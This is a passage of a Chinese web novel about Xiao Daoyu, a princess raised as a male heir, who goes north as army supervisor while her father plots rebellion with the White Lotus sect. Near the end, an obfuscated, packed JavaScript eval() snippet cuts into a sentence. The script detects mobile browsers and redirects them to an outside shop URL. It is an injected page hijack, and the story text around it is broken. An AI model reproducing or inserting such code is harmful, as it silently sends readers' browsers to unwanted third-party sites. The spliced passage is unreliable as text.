“皇叔……”永熙帝声音微颤,带着潮热的喘息,“真乃国之柱石。” 他转身,面向百官,朗声道:“传旨——封忠顺王萧善钧为征北大都督,节制京营十万并九边兵马,总揽北疆军务,即日开拔,驰援大同!” “吾皇圣明——”百官山呼,声音在闷热大殿里嗡嗡回荡。 永熙帝却未止,目光转向文官队列末尾:“萧道煜。” 一道绯色身影出列。萧道煜面色苍白如旧,一步步走到丹墀下,与父亲并肩而立。父子二人,一紫一绯,夏袍皆被汗浸出深色,在满殿目光中,静默如两尊被热气包裹的雕像。 “着你为监军,随征北大都督同行,协理军务,监察军纪。”永熙帝顿了顿,声音压低,却足够清晰,带着夏日的燥意,“望你……尽心辅佐,勿负朕望。” 监军。表面是制衡,实则是人质——皇帝将这把“刀”放在萧善钧身边,既是监视,也是警告。若萧善钧有不臣之心,萧道煜便是第一道祭品。 萧道煜缓缓跪倒,膝下金砖微烫:“臣……领旨。” 她没有抬头,却能感受到身侧那道目光——父亲的视线落在她身上,冰冷,评估,像在看一件即将派上用场的工具。没有父子温情,没有担忧嘱托,只有冷静的算计。 如芒在背。 酉时三刻,忠顺王府。 暮色四合,最后一缕残阳染红了西边天际,将王府重重屋瓦镀上一层血色余温。自晨间朝会归来,府内便陷入一种诡异的寂静。下人们走路都踮着脚尖,说话压着嗓子,仿佛生怕惊扰了什么,连夏日晚风都带着小心翼翼的意味。 萧道煜独自穿过重重回廊,朝后院佛堂走去。绯色官袍还未换下,在暮色里如一道凝固的血痕,汗湿后又干,留下盐渍。腹中那处“石瘕”又开始作痛,一阵阵,如钝刀割肉,在夏夜闷热中更添煎熬。她走得慢,每一步都像踩在棉花上,虚浮无力,后背已被冷汗浸透。 佛堂位于王府最深处,独门独院,四周遍植青竹,风吹过时飒飒作响,带来些许凉意,更添清寂。此刻堂门虚掩,里头透出昏黄烛光,还有缕缕檀香烟气,甜腻得发闷,混着夏日草木蒸腾的气息。 她在门外停下,整了整汗湿的衣冠,深吸一口闷热的空气,推门而入。 堂内只点了一盏长明灯,供在紫檀木佛龛前。龛中一尊白玉观音,宝相庄严,低眉垂目,手中净瓶柳枝似乎还带着露水。观音像前,王妃李氏跪在蒲团上,一身深青夏纱宫装,头发梳得一丝不苟,正拈着三炷香,缓缓插入香炉,动作在闷热空气中显得格外缓慢。 听见推门声,她未回头,只淡淡道:“来了。” 萧道煜走到她身后三步处,跪下,膝下蒲团犹带日晒余温:“儿子给母亲请安。” 李氏没有立刻说话。她看着香炉中袅袅升起的青烟,看着那三炷香一点点燃烧,香灰弯曲,最终断裂,落进炉中。整个过程缓慢而专注,仿佛在进行某种庄严的仪式,连夏夜蚊蚋的嗡嗡声都被摒除在外。 许久,她才开口,声音平静无波,在檀香的甜腻中显得格外清冷:“今日朝会,我都听说了。” “是。” “你父亲……要去北疆了。” “是。” “你也要去。” “是。” 一问一答,简短冰冷,像在核对账目,连夏夜的闷热都无法融化这层冰。 李氏终于转过身。烛火映着她保养得宜的脸,眉眼依旧精致,只是眼角细密的纹路在光影中无所遁形,额角有细密的汗珠。她看着跪在地上的“儿子”,目光复杂——有审视,有评估,还有一丝深藏的、连她自己都不愿承认的疲惫。 “起来吧。”她说。 萧道煜起身,垂手而立,夏纱官袍贴在身上,勾勒出单薄身形。 李氏缓缓走到他面前,抬手,为她理了理汗湿官袍的领口。动作轻柔,指尖冰凉,触到皮肤时,萧道煜下意识想躲,却硬生生忍住。 “这一去,山高路远,刀剑无眼,暑热难当。”李氏收回手,声音依旧平静,“你父亲年事已高,你是监军,要时刻留心,护他周全。” “儿子明白。” “还有,”李氏顿了顿,目光落在他脸上,那双与她自己极为相似的桃花眼里,此刻凝着冰霜,“记住你的身份——你是忠顺王世子,是未来要承袭王位、光耀门楣的人。此去北疆,不是游山玩水,不是吟风弄月,是要立军功,树威望,让朝野上下都看看,我萧家儿郎,不是只会享乐的纨绔。” 每一个字,都像冰珠,砸在闷热的空气中,砸在心上。 萧道煜垂眸,汗水从鬓角滑下:“儿子……谨记。” “谨记?”李氏忽然笑了,笑意未达眼底,在烛火下显得有些诡异,“你真的谨记么?还是说……还想着有朝一日,能脱下这身男装,做个寻常女子?” 这话太直白,太尖锐,像一把烧红的刀,狠狠捅进最隐秘的伤口。 萧道煜浑身一颤,猛地抬头,对上母亲的眼睛。那双眼里,没有温情,只有冰冷的警告,在夏夜闷热中更显刺骨。 “母亲……”她声音发颤,带着潮热的喘息。 “我没有女儿。”李氏打断,声音陡然转厉,在佛堂里回荡,“二十年前没有,现在没有,将来也不会有!我只有一个儿子,叫萧道煜,是忠顺王世子,是要撑起这个家的人!” 她逼近一步,几乎贴着萧道煜的脸,夏纱衣料相触,带来诡异的温热,声音压得极低,却字字如刀:“你那些不该有的心思,那些软弱,那些妄想……给我收起来!北疆是什么地方?是战场!是尸山血海!暑热、瘟疫、刀箭——你若敢在那种地方露出一丝女态,让人看出破绽——不用等敌人杀你,我第一个不饶你!” 话音未落,她猛地抬手,一巴掌扇在萧道煜脸上! “啪!” 清脆的响声在闷热的佛堂里回荡。萧道煜偏过头,脸颊火辣辣地疼,嘴角渗出血丝,混着汗水流下。她没有捂脸,只是慢慢转回来,重新站直,眼中最后一点波动也消失了,只剩一片死寂的平静,如夏夜无风的深潭。 李氏盯着他看了片刻,忽然从袖中取出一个小巧的锦囊,塞进他汗湿的手心。 “里头是‘阳关三叠’。”她声音恢复平静,仿佛刚才的疾言厉色从未发生,“此去路途遥远,暑热难行,你身子弱,万一旧疾发作……可用此药暂缓。记住,每日一丸,不可多服。” 萧道煜握着那个锦囊,锦囊也被汗水浸得微潮。她知道“阳关三叠”是什么——那是王府秘制的虎狼之药,服之可强提精神,掩盖病容,代价是摧残根基,折损寿数。母亲给她这个,不是关心,是要她无论病得多重,都得撑住“世子”的体面,在这夏日行军中不露破绽。 “谢母亲。”她轻声说,声音干涩。 李氏点点头,转身走回佛龛前,重新跪在蒲团上,拈起佛珠,闭目诵经。仿佛刚才那场疾风骤雨般的对话,只是夏夜一场短暂的雷雨,过后无痕。 萧道煜站在原地,看着母亲挺直的背影,看着那尊悲悯众生的观音像,看着长明灯跳动的火焰。佛堂里檀香浓郁,混着夏夜草木蒸腾的气息,她却只闻到一股腐朽的、令人作呕的味道。 许久,她缓缓跪倒,对着母亲的背影,也对着那尊观音,以额触地,额头贴在微温的砖面上。 “儿子……去了。” 没有回应。只有木鱼声声,佛号喃喃,在昏黄的烛光里,在夏夜的闷热中,织成一张密不透风的网,将他牢牢困住。 她起身,退出佛堂,轻轻带上门。 门外,暮色已深。最后一缕天光消失在西边,夜色如墨汁般浸染开来。庭院里青竹在晚风中摇曳,沙沙作响,像无数窃窃私语,说着这个家族不可告人的秘密。 萧道煜独自站在廊下,握着微潮的锦囊,忽然觉得浑身发冷。不是风寒,是从骨头缝里渗出来的寒意,在这夏夜里怎么也驱不散。 她抬头望天。今夜无星无月,只有浓得化不开的黑,远处有闷雷滚动。 远处传来更夫敲梆子的声音,悠悠长长,在闷热的夜色里显得格外苍凉: “天干物燥——小心火烛——” 戌时正了。 她迈开脚步,朝自己的院落走去。绯色官袍在夜色里渐渐模糊,汗湿的衣料贴在身上,每一步都沉重如铁。 佛堂内,木鱼声停了。 李氏缓缓睁开眼,看着观音像低垂的眉眼,忽然轻声道:“菩萨,我做得对么?” 观音不语,只有长明灯焰跳动,在她脸上投下明灭不定的光影,夏夜蚊蚋绕着灯焰飞舞。 她想起二十年前那个夏夜,产婆抱着哇哇啼哭的女婴,颤声问:“王妃,是位小姐……怎么办?” 怎么办?忠顺王需要世子,王府需要继承人,她需要稳固地位。所以那个女婴成了“世子”,成了萧道煜,成了她一生最得意也最痛苦的作品。 她教会“他”权谋,教会“他”狠辣,教会“他”如何在这个吃人的世道里活下去。可她从没教过“他”怎么做个女孩,怎么被爱,怎么幸福。 因为不需要。在这座王府,在这个朝廷,幸福是奢侈品,活着才是第一要义。尤其是在这样的乱世,这样的夏夜,温情只会让人死得更快。 “我没有错。”她喃喃自语,像是在说服自己,声音在空旷的佛堂里显得孤单,“这条路,是我们娘俩唯一的生路。不走,就是死。” 她重新闭上眼,捻动佛珠,经文从唇间溢出,一字一句,虔诚而冰冷。 窗外,夜风更紧了,带来雨前潮湿的气息。 同一时辰,王府书房。 此处与佛堂的清寂截然不同。四壁皆是顶天立地的紫檀书架,密密排着经史子集、兵法典籍,还有不少西域传来的奇巧玩意儿。多宝格上陈列着官窑瓷器、古玉珍玩,最显眼处摆着一尊半人高的红珊瑚,在烛火下流光溢彩,给这夏夜书房添了几分奢靡的燥热。 萧善钧斜倚在临窗的贵妃榻上,一身家常素纱袍,衣襟微敞,手中把玩着那枚从不离身的羊脂玉扳指。扳指在指尖缓缓转动,温润白光流转,映着他儒雅却深不见底的眼眸,额角有细汗。 他面前站着三个人。 左侧是个面容阴鸷的中年文士,姓徐名渭,是他多年的谋士,此刻垂手而立,眼中精光闪烁,夏袍后背微湿。 右侧是个身形魁梧的武将,名唤赵霸,原是 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他起身,走到窗前,望着外头沉沉的夜色,远处雷声隐隐:“北疆这一局,关乎我们萧家未来几十年的气运。我不能让任何变数,毁了大计。” 徐渭上前一步,低声道:“王爷,世子毕竟是您亲生,若真有不妥,是否……” “亲生?”萧善钧轻笑,笑意未达眼底,在烛火下显得有些阴森,“徐先生,在这等大事面前,亲情算什么?当年我能默许王妃将她扮作男儿,今日就能让她继续演下去——演到该退场的时候。” 这话太冷,连赵霸这般粗人都忍不住打了个寒颤,在这闷热夏夜里格外突兀。 他转身,素纱袍在空气中轻拂:“赵将军,军中事宜,都安排妥了?” 赵霸抱拳,声音粗嘎:“王爷放心!京营中咱们的人已打点妥当,沿途州县也有接应。只要出了京城,这十万大军,就是王爷的囊中之物!” “好。”萧善钧眼中闪过厉色,如夏夜闪电,“记住,我们的目标不是击退匈奴,是——养寇自重。” 养寇自重。四个字,轻飘飘的,却藏着滔天的血腥与阴谋,在闷热的书房里回荡。 徐渭与赵霸对视一眼,皆看到彼此眼中的兴奋与狂热。他们追随这位王爷多年,等的就是这一天! “王爷,”徐渭压低声音,凑近些,汗味混合着书房里的熏香,“还有一事……西苑那边,今日又递了消息来。” 提到西苑,萧善钧神色微凝:“说。” “太上皇让魏进忠传话,说白莲教已在山东、河南等地起事,可为我们牵制朝廷兵力。”徐渭顿了顿,抹了把额头的汗,“只是……太上皇要王爷一个承诺。” “什么承诺?” “事成之后,许白莲教‘国教’之位,教主巫道鸿……封国师。” 萧善钧沉默片刻,忽然笑了,笑声在闷热的书房里显得有些突兀:“答应他。” “王爷,白莲教毕竟是邪教,若真坐大……” “坐大?”萧善钧冷笑,走到书案前,提笔蘸墨,墨汁在夏夜空气中很快干涸,“等本王登基,第一件事就是剿灭白莲。现在,不过是互相利用罢了。” 他挥笔在一张信笺上写下几行字,盖上私印,墨迹未干便递给徐渭:“将此信交给魏进忠,让他转呈太上皇。就说……本王答应了。” 徐渭接过信笺,躬身退下,夏袍下摆扫过地面。 书房内只剩萧善钧与赵霸二人。赵霸犹豫片刻,粗声道:“王爷,那世子那边……若真有不妥,属下是否……” 萧善钧摆摆手,重新坐回榻上,把玩着扳指,望着窗外沉沉的夜色,眼中野心如野火般在夏夜闷热中燃烧: “不必。道煜……我自有安排。你只需做好你的事。” 赵霸抱拳:“属下明白!” 他退下后,书房彻底安静下来,只有烛火噼啪,窗外蚊蚋嗡嗡。 萧善钧独自坐在榻上,扳指在指尖越转越快。二十年前,他因夺嫡失败,被迫蛰伏。二十年来,他纵情声色,麻痹众人,暗中却布下天罗地网。如今,边关大乱,朝堂动荡,皇帝年轻稚嫩,太上皇年老昏聩——天时、地利、人和,皆在他手! “景琰吾侄,”他轻声自语,仿佛那位年轻的皇帝就在眼前,声音在闷热的夏夜里如毒蛇吐信,“这江山,该换个人坐了。” 窗外,忽然传来极轻的脚步声,踏在廊下微湿的地面上。 萧善钧神色一凛,迅速收起所有情绪,恢复成平日那副儒雅闲散的模样,衣襟拢好,扳指戴回拇指。 门被推开,萧道煜站在门外,一身素白夏纱常服,面色在廊下灯笼的光晕里苍白如纸,额角汗湿。 “父亲。”她躬身行礼,声音在夏夜闷热中显得干涩。 萧善钧抬眼看他,脸上堆起恰到好处的温和笑容,如春风化雨:“道煜来了。这么晚,怎么还不歇着?暑气重,当心中了暑气。” “儿子……睡不着。”萧道煜走进书房,夏纱袍在烛火下近乎透明,勾勒出单薄身形。 “也是,明日便要启程了。”萧善钧倒了杯凉茶,推到他面前,茶水温凉,“坐。” 萧道煜在对面坐下,没有碰那杯茶。 “此去北疆,路途艰险,暑热难当。”萧善钧自己端起茶杯,抿了一口,凉茶入喉,驱散些许闷热,“你身子弱,要多加小心。军中不比王府,没人会迁就你。” “儿子明白。” “明白就好。”萧善钧放下茶杯,目光落在他脸上,带着父亲应有的关切,“你是我最得意的儿子,此次随军,既是历练,也是机会。好好表现,待凯旋之日,为父必向皇上为你请功。” 话说得冠冕堂皇,可萧道煜听着,只觉得虚伪。她抬眼,看向父亲,琥珀金的眸子在烛火下如熔化的金子,冰冷而锐利,穿透夏夜的闷热: “父亲,儿子有一事不明。” “哦?何事?”萧善钧神色不变。 “父亲此次请缨,真是为救国难,还是……”他顿了顿,声音压得很低,却字字清晰,“另有所图?” 书房内骤然死寂。 烛火噼啪爆了个灯花,映得萧善钧脸上光影明灭。他盯着儿子看了许久,忽然笑了,笑声温和,却让萧道煜在这夏夜里脊背发凉。 “道煜,你果然长大了。”他放下茶杯,缓缓道,声音在闷热空气中如滑腻的蛇,“既然你问,为父便告诉你——这世上的事,从来不是非黑即白。救国难是真,有所图也是真。为父若真能击退匈奴,收复失地,那是为国尽忠;若能借此机会,掌握兵权,稳固我萧家地位,那也是为家族谋划。” 他倾身向前,目光如炬,带着夏夜的燥热:“你是我的儿子,该明白这个道理——在这朝堂之上,没有纯粹的忠,也没有纯粹的奸,只有……利益。” 每一个字,都像烧红的铁锥,凿开萧道煜心中最后一点幻想。她以为父亲至少还有几分真心,哪怕是对权势的渴望,也该是坦荡的。可如今看来,这坦荡之下,藏着更深的算计与冷酷,在这夏夜闷热中发酵膨胀。 “儿子……明白了。”她缓缓起身,夏纱袍因动作微微飘起,躬身,“夜已深,父亲早些歇息。儿子告退。” “去吧。”萧善钧摆摆手,重新端起茶杯,神色已恢复如常,仿佛刚才那番惊心动魄的对话从未发生,只是夏夜一场寻常的父子闲谈。 萧道煜退出书房,轻轻带上门。廊下夜风寒凉了些,吹得她单薄的夏纱衣衫猎猎作响,贴在汗湿的身体上,带来一阵战栗。她扶住廊柱,剧烈咳嗽起来,咳得弯下腰去,咳得眼前发黑,咳声在夏夜里显得格外凄厉。 许久,咳声渐歇。她直起身,抹去嘴角血迹,那血在夏夜空气中很快变得粘稠。他望向北方夜空。 那里,烽火连天。 这里,暗流汹涌。 而她,被夹在中间,如风中残烛,在这夏夜里摇曳,不知何时便会熄灭。 远处传来二更的梆子声,悠悠长长,在闷热的夜色里苍凉如挽歌。 这一夜,许多人无眠。 而萧道煜,独自站在廊下,望着无星无月的夜空,第一次如此清晰地感受到—— 这场北征,或许不是救赎,而是通往地狱的开始。夏夜的闷热,不过是地狱之火的先兆。 29.第 29 章 京郊龙骧大营 晨光初透,薄雾如纱,笼罩着连绵数十里的营盘。辕门高耸,旗杆如林,玄色军旗在温热的风中猎猎作响,旗上绣着的“雍”字在曦光里泛着金红。营墙以碗口粗的圆木夯成,外挖壕沟,沟底密布削尖竹刺,阳光下闪着凛凛寒光。 校场广阔如海,此刻却寂静得诡异。十万将士按营列阵,玄甲映着逐渐炽热的晨光,刀枪如林,却无一丝喧哗,只有战马偶尔不耐的响鼻,和甲胄摩擦的细微金属声。这些兵卒脸上,没有出征前的激昂,反倒透着一股麻木的疲惫——京营多年未经战事,早已糜烂,如今仓促集结,许多人是前些日子才被强征入伍的农夫工匠。初夏的闷热让不少人额角渗出细密的汗珠,顺着黝黑的脸颊滑落。 点将台上,萧善钧一身银甲,外罩素白战袍,未戴头盔,花白头发以玉冠高束,在带着草木气息的晨风里丝丝飞扬。他按剑而立,身姿挺拔如松,晨光在他甲胄上流淌,竟有几分儒将风采。身侧站着监军太监刘瑾——皇帝特派的心腹,面白无须,眼观鼻鼻观心,仿佛一尊泥塑,只是初夏的闷热让他额角也沁出了薄汗。 台下,萧道煜立于文官队列之首,一身绯色官袍在铁甲丛中格外刺目。她面色依旧苍白,唇色淡得几乎看不见,唯有那双琥珀金的眸子半阖着,长睫在眼下投出浅淡阴影。腹中石瘕的疼痛从未止歇,像有只冰冷的手在腹腔里反复搅动,初夏的暖意丝毫无法缓解这份寒痛。她强撑着站直,指尖在袖中死死掐着掌心,借痛楚保持清醒。 萨林立在她身后半步,一身玄铁鳞甲,在渐热的阳光下反射着暗沉的光泽,绿瞳如鹰隼般扫视全场。伊凡则垂手站在武将队列末尾,一身指挥佥事官服,面色平静,目光却若有若无地落在点将台上,初夏的风吹动他官袍的下摆。 辰时正,号角长鸣。 萧善钧缓步走到台前,目光扫过黑压压的军阵,朗声开口,声音不高,却以内力催发,清晰传遍校场每个角落: “将士们——” 十万双眼睛齐刷刷望来。 “匈奴犯境,雁门关破,北疆烽火连天!”他声音陡然拔高,带着悲愤的颤音,“那是我们的国土!我们的父老乡亲!此刻正在匈奴铁蹄下哀嚎!你们——能忍吗?!” 死寂。只有初夏温热的风声呼啸。 忽然,队列前排一个满脸伤疤的老卒嘶声吼出:“不能!” 紧接着,第二个,第三个……吼声如野火燎原,瞬间席卷全军: “不能!不能!不能!” 声浪如雷,震得地面微颤。萧善钧抬手,吼声戛然而止。他眼中泛起泪光,继续道: “本帅知道,你们中许多人,是第一次上战场。怕吗?本帅也怕!本帅今年四十有七,本可安享富贵,可国难当头,岂能苟且?!”他猛地撕开胸前战袍,露出那道狰狞伤疤,“这道疤,是二十年前征讨僰人所留!那时本帅与你们一样年轻,一样怕死!可当敌人杀来,当你身后是家园父老——你还怕吗?!” “不怕!不怕!不怕!”吼声更烈,许多年轻士卒眼眶红了,在初夏的阳光下闪烁着泪光。 萧善钧深吸一口气,声音转为铿锵:“今日,本帅在此立誓——此去北疆,不破匈奴,誓不还朝!愿与诸君同生共死,共卫家国!” “同生共死!共卫家国!”山呼海啸。 萧道煜立在台下,看着父亲慷慨激昂的表演,心中却一片冰寒。那些眼泪,那些伤疤,那些誓言……真真假假,混在一起,竟让十万将士热血沸腾。可她知道,这热血底下,藏着怎样的算计。初夏的阳光照在身上,她却感觉不到丝毫暖意。 点将完毕,萧善钧开始调兵遣将。 “骁骑营统领赵霸!” “末将在!”那魁梧武将出列,单膝跪地,甲胄在阳光下泛着汗光。 “着你率本部三千铁骑,为大军先锋,即日开拔,沿途探路,遇有险阻,速报中军!” “得令!” “神机营指挥使周振!” “末将在!” “着你统火器营,押运红衣大炮二十门、火铳五千杆,随中军行进,不得有失!” “得令!” 一个又一个名字,一道又一道军令。萧道煜静静听着,心中渐渐明了——赵霸是父亲死士,周振是王府旧部,还有那些掌管粮草、辎重、哨探的关键营队,统领皆是萧善钧多年培植的心腹。而那些原本京营中的老将、可能与皇帝有旧的军官,或被调任闲职,或被派往危险的前锋,甚至……直接“因病”留守。 好一手偷梁换柱。十五万大军,名义上是朝廷兵马,实则已被萧善钧牢牢掌控。 最后,萧善钧目光转向文官队列。 “监军萧道煜。” 萧道煜出列,躬身:“臣在。”初夏的风吹动她绯色官袍,更显身形单薄。 “着你总领军法、文书、粮饷稽核诸务。”萧善钧顿了顿,意味深长道,“你身子弱,不必随前锋奔波,就留在中军,协理军机吧。” 留在中军……表面是照顾,实则是放在眼皮底下,便于控制。萧道煜垂眸:“臣遵命。” “还有,”萧善钧从怀中取出一枚虎符——青铜所铸,作猛虎蹲踞状,一分为二,此刻他手中是右半符,“此乃调兵虎符。左半符在皇上手中,右半符由本帅执掌。凡调兵千人以上,须两符合一,方可施行。” 他走到萧道煜面前,将虎符郑重递上:“你为监军,此符暂由你保管。记住——非到万不得已,不可轻动。” 虎符入手冰凉沉重。萧道煜握着这枚能调动十万大军的信物,心中却没有半分权力在握的喜悦,只有沉甸甸的压迫感。她知道,父亲将此符交给她,不是信任,是试探——试探她是否听话,是否值得继续用下去。符身被初夏的阳光晒得微温,却驱不散她心底寒意。 “臣……必不负重托。”她低声道。 萧善钧满意点头,转身面向全军,长剑出鞘,指向北方: “开拔!” 号角再鸣,战鼓震天。十万大军如黑色洪流,缓缓蠕动,扬起漫天烟尘。百姓早已闻讯赶来,挤在营外道旁,箪食壶浆,哭声、祝福声、呐喊声混作一团。几个白发老妪跪在路边,朝着大军磕头,口中喃喃:“王爷定要收复河山啊……”初夏的阳光照在她们花白的头发上,泛着银光。 萧善钧翻身上马,白马银甲,在明亮的晨光里如天神下凡。他朝百姓挥手,眼中含泪,更激起一片山呼。 萧道煜也登上马车。车厢宽敞,铺着厚厚毡毯,初夏的闷热让车内有些窒闷。她靠坐在软垫上,捂着腹部,冷汗已浸湿里衣。萨林骑马随在车旁,伊凡则率一队黑鳞卫在前开道。 马车缓缓驶出辕门。萧道煜掀开车帘,回望渐行渐远的大营,又看向前方烟尘弥漫的官道,忽然觉得,此行不是奔赴战场,而是……坠入一张早已织就的巨网。初夏的风吹进车厢,带着尘土和青草混合的气息。 大军北行三日,夜宿蓟州驿。 此处已是京畿边缘,驿馆简陋,只几排土坯房,围着个不大的院子。中军大帐设在驿馆正堂,四周亲兵环立,火把通明。其余将士则露天扎营,绵延数里,篝火星星点点,如地上星河。初夏的夜晚凉风习习,吹散白日的闷热,草丛中传来阵阵虫鸣。 子夜时分,万籁俱寂。 中军帐内,萧善钧未卸甲,只解了头盔,正就着烛火研究北疆舆图。徐渭侍立一旁,低声禀报沿途州县接应情况。帐外亲兵皆是心腹,十步一岗,连只蚊子都飞不进来。初夏的夜风从帐帘缝隙钻入,吹得烛火摇曳。 忽有极轻的脚步声靠近。 “谁?”守卫厉喝。 “无量天尊。”一个清越的声音响起,“贫道云游至此,见此处血气冲天,恐有兵灾,特来示警。” 守卫面面相觑。萧善钧在帐内听见,眼中精光一闪,扬声道:“请道长进来。” 帐帘掀起,一个青袍道士飘然而入。他约莫二十出头,面容清俊,眉眼竟与萧道煜有七分相似,只是眼神更阴鸷,唇边带着一抹似笑非笑的弧度。头上松松绾个道髻,插一根木簪,手持拂尘,步履轻盈如猫,落地无声。初夏的夜风掀起他青袍一角。 正是白莲教主,巫道鸿。 徐渭识趣退下,帐内只剩二人。巫道鸿也不行礼,自顾自在客位坐下,拂尘搭在臂弯,似笑非笑地看着萧善钧:“王爷好大的排场,十万大军,旌旗蔽日,这是要去……救国难?” 萧善钧放下舆图,打量着他,缓缓道:“道长深夜造访,不只是为了说这些吧?” “自然。”巫道鸿从袖中取出一物,放在案上——正是那枚白莲火焰令,“贫道此来,是代教主与王爷……谈笔买卖。” 萧善钧盯着那枚令牌,面色不变:“什么买卖?” “王爷此行,真是为了击退匈奴?”巫道鸿挑眉,“若贫道所料不差,王爷是想……养寇自重吧?” 一语道破天机。萧善钧眼中厉色一闪,却笑了:“道长果然慧眼。既然如此,有话直说。” “简单。”巫道鸿身体前倾,压低声音,“王爷需要匈奴牵制朝廷兵力,白莲教……可以帮忙。山东、河南、湖广,我教教众数以十万计,只需一声令下,便可揭竿而起,攻城略地,让朝廷首尾不能相顾。” 萧善钧不动声色:“条件呢?” “事成之后,”巫道鸿一字一顿,“白莲教要国教之位。教主……封国师,掌天下宗教事。” “国师?”萧善钧轻笑,“道长好大的胃口。” “不大。”巫道鸿也笑,“比起王爷要的江山,一个国师之位,算什么?” 两人对视,帐内烛火噼啪,映得两张相似的面容明灭不定。许久,萧善钧缓缓点头:“可以。” “王爷爽快。”巫道鸿从怀中取出一张绢帛,摊开,上面密密麻麻写着人名、地点、起事时间,“这是各地首领名单、起事计划。王爷可派心腹联络,届时里应外合。” 萧善钧接过,细细看了一遍,收入怀中:“道长不怕本王过河拆桥?” “怕。”巫道鸿坦然道,“所以教主留了后手——若王爷毁约,白莲教便会将王爷‘养寇自重’的证据,送到皇上面前。到时候,王爷这‘救国英雄’,可就成了……通敌叛国的逆贼了。” 声音轻柔,却字字如刀。萧善钧脸色微沉,却很快恢复如常:“道长多虑了。本王既答应,便不会反悔。” “那就好。”巫道鸿起身,拂尘一甩,“贫道告辞。愿王爷……马到成功。” 说罢,飘然出帐,身影很快消失在初夏的夜色中。 萧善钧独坐帐内,盯着那枚白莲火焰令,眼中野心如野火燃烧。与虎谋皮?是丁,可他本就是虎,又何惧另一只? 帐外,夜风骤起,吹得营旗猎猎作响。 萧道煜的营帐设在驿馆西厢,与中军大帐隔着一个院子。她身子不适,早早歇下,却因腹痛辗转难眠。萨林守在帐外,伊凡则在外围巡视——这是萧善钧的安排,美其名曰“保护”,实则是监视。初夏的夜晚并不冷,但她裹着薄被仍觉得骨子里发寒。 子时过半,萧道煜终于昏沉睡去,却很快被噩梦惊醒。梦里是漫天烽火,是尸山血海,是父亲那张儒雅却冷酷的脸,对她说:“你是我最得意的作品……” 她猛地坐起,冷汗涔涔。腹中剧痛更甚,像有只手在里头狠狠攥着五脏六腑。她咬紧牙关,摸索着取出母亲给的那个锦囊,倒出一粒“阳关三叠”。药丸乌黑,散发着刺鼻的辛味。她犹豫片刻,终究还是和水吞下。 药力很快发作,疼痛暂缓,取而代之的是一种虚浮的亢奋,心跳如鼓,眼前阵阵发晕。她知道这是饮鸩止渴,可别无选择。 躺了片刻,心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997399|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不宁,索性披衣起身,想出去透透气。刚走到帐口,却听见外头传来极轻的对话声——是萨林和伊凡。 “……西厢第三营,今夜值守的是赵霸的人。”伊凡的声音很低,“我已调黑鳞卫暗中盯着。” “嗯。”萨林应了一声,顿了顿,“世子今日……咳血三次。” 沉默。许久,伊凡才道:“斐先生开的药,按时服了么?” “服了,无用。”萨林声音里透着一丝罕见的焦躁,“那‘阳关三叠’……是虎狼之药。再服下去,迟早……” 话未说完,戛然而止。 萧道煜立在帐内,指尖冰凉。原来萨林都看在眼里。原来伊凡……还在关心她的病。 可这关心,是真心的么?还是……另一种监视? 她正恍惚,远处忽然传来一阵极轻的脚步声,朝着中军大帐方向去。那脚步声很特别,轻盈得不像常人,落地无声,若非她耳力极好,又服了药精神亢奋,根本听不见。 鬼使神差地,她轻轻掀开帐帘一角,朝外望去。 月光黯淡,只有营火跳跃。一道青影如鬼魅般飘过院子,径直走向中军大帐。守卫竟似未见,任其入内。 那是……道士? 萧道煜心头一跳。军中怎会有道士?还深夜直入主帅大帐? 她屏住呼吸,悄悄挪到帐边,侧耳倾听。夜风呼啸,隐约有话语声随风飘来: “……白莲……起事……国师……” 破碎的词句,却如惊雷炸响! 白莲?!起事?! 她浑身发冷,药力带来的亢奋瞬间被恐惧取代。父亲深夜密会白莲教的人?他们要起事?起什么事?在哪儿起事? 无数念头在脑中翻滚,腹中那处石瘕仿佛被这惊惧刺激,又开始剧痛。她捂住腹部,踉跄后退,跌坐在榻边,冷汗如雨。初夏的夜风吹进帐内,她却感觉不到丝毫凉意。 帐外,萨林似乎察觉到动静,低声问:“世子?” “没……没事。”她强撑着回答,声音却止不住发颤,“做了噩梦……你退下吧,我想静静。” 萨林沉默片刻,终究应了声“是”。 萧道煜蜷在榻上,浑身发抖。不是冷的,是怕的。她想起这些日子父亲的种种异常,想起军中那些诡异调动,想起今日点兵时父亲眼中那掩不住的野心…… 原来所谓的“救国”,所谓的“忠义”,全是幌子!父亲是要借匈奴之乱,拥兵自重,甚至……与白莲教勾结,图谋造反! 那她呢?她这个监军,这把“刀”,在这场惊天阴谋里,又算什么?是棋子?是人质?还是……祭品? 正心乱如麻,帐帘忽然被掀开。 萨林端着一碗热汤进来,见她面色惨白如鬼,眉头紧皱:“世子,您脸色很不好。” “无妨。”萧道煜接过汤碗,指尖还在发抖,“外头……可有什么异常?” 萨林犹豫一瞬,从怀中取出一物,递给她:“方才巡视时,在西营栅栏上发现的。” 那是一张黄纸符箓,叠成三角形,用红线系着。纸已有些旧,上面用朱砂画着诡异的符文——一朵盛开的莲花,莲心处却是团火焰。 萧道煜接过符箓,指尖触到那粗糙的纸面,心头剧震。这图案……她见过!在当年北镇抚司查抄白莲教案卷时,见过一模一样的火焰莲纹! “在哪儿发现的?”她声音发紧。 “西营第三队,赵霸的营区。”萨林低声道,“不止一张,我悄悄收了,未声张。” 赵霸……父亲的心腹。白莲教的符箓出现在他的营区,意味着什么? 萧道煜攥紧符箓,纸角硌得掌心生疼。她抬眼看向萨林,琥珀金的眸子里映着帐内昏暗的烛火,深不见底: “此事……暂勿声张。你继续暗中查探,但切记——不可打草惊蛇。” “是。”萨林应声,却又道,“世子,此事非同小可。若王爷真与白莲教……” “我知道。”萧道煜打断,声音疲惫至极,“可眼下……我们动不了。” 是的,动不了。十万大军,皆是父亲掌控。她这个监军,名为监察,实则孤掌难鸣。若此刻揭破,非但无用,反而会打草惊蛇,甚至……招来杀身之祸。 “你先退下吧。”她摆摆手,“让我……静一静。” 萨林深深看她一眼,躬身退出。 